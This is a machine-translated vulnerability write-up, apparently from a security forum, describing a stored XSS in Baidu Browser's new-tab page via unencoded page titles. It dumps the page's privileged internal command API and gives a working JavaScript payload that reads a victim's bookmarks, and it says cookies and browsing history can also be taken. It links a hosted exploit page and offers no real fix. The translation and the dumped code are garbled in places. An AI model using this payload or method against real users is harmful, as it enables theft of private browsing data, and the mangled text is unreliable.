Baidu browser xss can be hijacked

Baidu browser xss can be hijacked

1. Cause of the Vulnerability

The problem lies in bdbrowser: // tabpage/. When you click "manually edit", the top 8 of "most frequently accessed" appears. As a result, the title of the webpage is not encoded and is directly written to the xss.

 

2. Vulnerability Reproduction

For example, Baidu search, http://www.baidu.com/s? Word =

Create a blank page.
 

Then the Administrator's God replied, who is good enough to search for the xss code, I said click the connection sent by someone else, Baidu who doubts it, also think that you x is Baidu homepage ..

Okay, continue to reproduce.

Since it is title, I construct a friendly page. The page title is



Open http://tmxk.org/team, and edit it manually.
 

 

You will give me some advice.

 

3. Vulnerability Exploitation

I am looking for an interface to play calc. I haven't found it for an hour, but I can get the user's cookie, browsing history, and favorites.

Analyze the bdbrowser: // tabpage/source code and find the interface in bdbrowser: // tabpage/tabpage. js:

 

Backbone.sync = function(method, model, options) {        switch (options.type) {            case "tab":                tabExcuteData(method, model, options);                break;            case "bookMark":                bookMarkExcuteData(method, model, options);                break;            case "close":                closeExcuteData(method, model, options);                break;            case "customNews":                customNewsExcuteData(method, model, options);                break;            case "customVideo":                customVideoExcuteData(method, model, options);                break;            case "customGame":                customGameExcuteData(method, model, options);                break;            case "customSmile":                customSmileExcuteData(method, model, options);                break;            case "customMm":                customMmExcuteData(method, model, options);                break;        }    };

Search for parameters,

Finally, the command pool is found:

 

Var writable pool = {// http://fe.baidu.com/doc/a/boss/api/tabpage.text "Bdbrowser. tabpage. getFavorites ": function (_ cmd, params, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, params );}, "bdbrowser. tabpage. getDefinedFavorites ": function (_ cmd, params, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, params );}, /* tabpage has €€ */"bdbrowser. tabpage. getTopHistory ": function (_ cmd, params, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, params );}, "bdbrowser. tabpage. removeFavorite ": function (_ cmd, id, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, id );}, "bdbrowser. tabpage. removeDefined ": function (_ cmd, id, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, id );}, "bdbrowser. tabpage. openPage ": function (_ cmd, info, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, info );}, "bdbrowser. tabpage. restoreFavorite ": function (_ cmd, info, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, info );}, "bdbrowser. tabpage. restoreDefined ": function (_ cmd, info, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, info );}, "bdbrowser. tabpage. enableMyFavorite ": function (_ cmd, enable, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, enable );}, "bdbrowser. tabpage. saveFavoritesOrder ": function (_ cmd, list, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, list );}, "bdbrowser. tabpage. saveDefinedOrder ": function (_ cmd, list, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, list );}, "bdbrowser. tabpage. getInitData ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;},{}) ;}," bdbro. tabpage. updateDefinedSite ": function (_ cmd, params, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, params );}, "bdbrowser. tabpage. updateFavoriteSite ": function (_ cmd, params, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, params );}, "bdbrowser. tabpage. onFavoriteRemoved. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onDefinedRemoved. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onDefinedOrderChanged. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onFavoriteOrderChanged. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onFavoriteUpdated. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onDefinedUpdated. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onOpenTypeChanged. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. tabpage. onPageMassage. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. global. openPage ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, details) ;}, "bdbrowser. global. setValue ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, details) ;}, "bdbrowser. global. getValue ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content. item) ;}, details) ;}, "bdbroils. global. onBroadcast. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. broadcastMsg) ;},{}) ;}, "bdbrowser. global. broadcast ": function (_ cmd, items, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content. broadcastMsg) ;}, items) ;}, "bdbrowser. global. getTN ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content. tn) ;},{}) ;}, "bdbrowser. application. getSyncInfo ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content. item) ;}, details) ;}, "bdbroils. application. onSync. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. item) ;},{}) ;}, "bdbrowser. application. onFlushApp. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. item) ;},{}) ;}, "bdbrowser. extension. Y ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function () {callback () ;}, details );}, "bdbrowser. extension. onNotify. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. extension. onspecialpolicy. addListener ": function (_ cmd, details, callback) {doRequest (_ cmd, function (content) {callback (content) ;}, details) ;}," bdbroener. bookmarks. getTree ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, {}) ;}, "bdbrowser. bookmarks. getChildren ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, details) ;}, "bdbrowser. xhr. send ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, details) ;}, "bdbrowser. tabpage. removeFavorite ": function (_ cmd, id, callback) {doRequest (_ cmd, function (content) {callback & callback (content) ;}, id );}, "bdbrowser. global. report ": function (_ cmd, details, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, details) ;}, "bdbrowser. history. getRecentClosed ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, {}) ;}, "bdbrowser. history. updateRecentClosed. addListener ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, {}) ;}, "bdbrowser. history. deleteAllClosed. addListener ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, {}) ;}, "bdbrowser. bookmarks. onChanged. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. item. id, content. item) ;},{}) ;}, "bdbrowser. bookmarks. onCreated. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. item) ;},{}) ;}, "bdbrowser. bookmarks. onRemoved. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content) ;},{}) ;}," bdbroener. bookmarks. onMoved. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {callback (content. item) ;},{}) ;}, "bdbrowser. bookmarks. onSorted. addListener ": function (_ cmd, callback) {doRequest (_ cmd, function (content) {// callback (content. item. id, content. item); callback () ;},{}) ;}, "bdbrowser. tabpage. getBrowserBgInfo ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );}, {}) ;}} "bdbrowser. tabpage. onBrowserBgChanged. addListener ": function (_ cmd, callback) {callback = callback | emptyFunction; doRequest (_ cmd, function (content) {callback (content );},{});}

I can use either of them.

Get user favorites:

 

s=[],s1=[];bdbrowser.bookmarks.getTree(function(result) {                      result.itemList.forEach(function(item,index){for (a in item) s.push(a);s1.push(item.url)});alert(s1)                        });

Array s obtains all item parameters, and array s1 obtains all favorite URLs of users.

Item:

 

id,title,url,note,parentId,type,accesstime,icon,children

Add to favorites:

 

 

 
 

4. Final use page: http://tmxk.org/ B .html

Effect:


 

5. What is funny about code execution when history is cleared?

 

Of course, the resident memory may not be used. The above interfaces are many and you can use them freely.

Solution:

To respect others' work is to respect their own products.